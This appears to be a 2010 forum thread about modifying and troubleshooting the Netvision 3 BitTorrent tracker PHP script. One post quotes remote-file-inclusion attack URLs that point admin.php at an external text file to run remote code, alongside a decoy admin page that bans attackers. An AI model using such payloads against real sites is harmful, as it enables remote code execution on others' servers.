Bravo List

Bravo List (http://www.bvlist.com/index.php)
-   Downloads (http://www.bvlist.com/forumdisplay.php?f=16)
-   -   Netvision 3 (http://www.bvlist.com/showthread.php?t=4786)

hellix 3rd April 2010 20:45

Netvision 3
 
1 Attachment(s)
Updated 2010.04.29

sammygo 3rd April 2010 21:15

In global.php
after

Code:

function get_torrent_limits($userinfo)
{
    $limit = array("seeds" => -1, "leeches" => -1, "total" => -1);

put

Code:

if (get_user_class() < UC_POWER_USER)
Now when you are Power User or + you have 0/infinite , seeding,leeching,total !

benjaminbih 4th April 2010 11:27

Very nice!

@hellix do you have a list of included mods?

ANd i think you need to workarround the httpauth() function to make it work with both php as apache module and php as mod_fastcgi with SuExec.
Otherwize there is no chance to login in to AdminCP if you use mod_fastcgi.

This works with suexec and php as mod_fast_cgi

Make .htaccess in root folder:
PHP Code:

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule 
.* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</
IfModule>
ErrorDocument 404 /404.php 

and change in /include/security_functions.php the function httpatuh() to this:
PHP Code:

function httpauth(){
global 
$CURUSER,$lang;

  if(isset(
$_SERVER['REDIRECT_REMOTE_USER'])) {
  
$auth_params explode(":" base64_decode(substr($_SERVER['REDIRECT_REMOTE_USER'], 6)));
  
$_SERVER['PHP_AUTH_USER'] = $auth_params[0];
  unset(
$auth_params[0]);
  
$_SERVER['PHP_AUTH_PW'] = implode('',$auth_params);
}

  if (
$CURUSER['passhash'] != md5($CURUSER['secret'].$_SERVER["PHP_AUTH_PW"].$CURUSER['secret'])) {
 
header("WWW-Authenticate: Basic realm=\"Login and Password\"");
    
header("HTTP/1.0 401 Unauthorized");
    
stderr("Error""Permission denied");

    }




hellix 4th April 2010 13:11

joke addon like

Code:

admin.php?rootpath=http://www.luomoeillegno.com/extras/idxx.txt??   
/%20%20/admin.php?rootpath=http://www.luomoeillegno.com/extras/idxx.txt??

new file admin.php or admincp.php or...............

PHP Code:

<?
require_once("include/bittorrent.php");
dbconn();
$ip ip2long(htmlspecialchars($_SERVER['REMOTE_ADDR']));
$added =get_date_time();
$addedby "1";
$comment "Admin panel attack";
$sql "INSERT INTO ban (added, addedby, ip, comment) VALUES ('$added','$addedby','$ip','$comment')";
$result mysql_query($sql);
header("Location: $BASEURL/index.php");
?>

:lol:

Zuby 26th June 2010 22:52

for me .. after i've uploaded the torrent it's sending "Tracker sending invalid data:"
i havent make any changes...only install and delete restrictions for mail.
it seems that the problem is here
->
Code:

$res = mysql_query("SELECT id, added, banned, free, seeders + leechers AS numpeers, UNIX_TIMESTAMP(added) AS ts FROM torrents WHERE " . hash_where("info_hash", $info_hash));
if someone have a good announce please post it ..

crztz 27th June 2010 09:42

re
 
i removed the external part for announce for external torrents and is ok

Zuby 27th June 2010 10:20

yes .. sure, and wich is that part .. i was looking for but with no result

crztz 27th June 2010 10:36

first of all, set OFF on using external torrents.. and try again..

Zuby 27th June 2010 13:27

fixed that with external torrents but now another one, same in announce.php

Torrent is not aware of the Tracker

i suppose is for here
Code:

$res = mysql_query("SELECT id, name, category, banned, free, activated, seeders + leechers AS numpeers, UNIX_TIMESTAMP(added) AS ts FROM torrents WHERE " . hash_where("info_hash", $info_hash));

$torrent = mysql_fetch_assoc($res);
if (!$torrent)
    err("This torrent is not aware of the Tracker");

if ($torrent["activated"] != "yes")
    err("This torrent is not aware of the Tracker");

* Thanks if u can help me

prettor 31st August 2010 21:45

yahoo, google and msn mail banned
 
hi guys, aa...i think i have a little problemmmmmmmmmmmmm

yahoo, google and msn mail are banned, but in rest, another mails work greate, can somebody help me?


All times are GMT +2. The time now is 22:42.

Powered by vBulletin® Version 3.8.11 Beta 3
Copyright ©2000 - 2024, vBulletin Solutions Inc.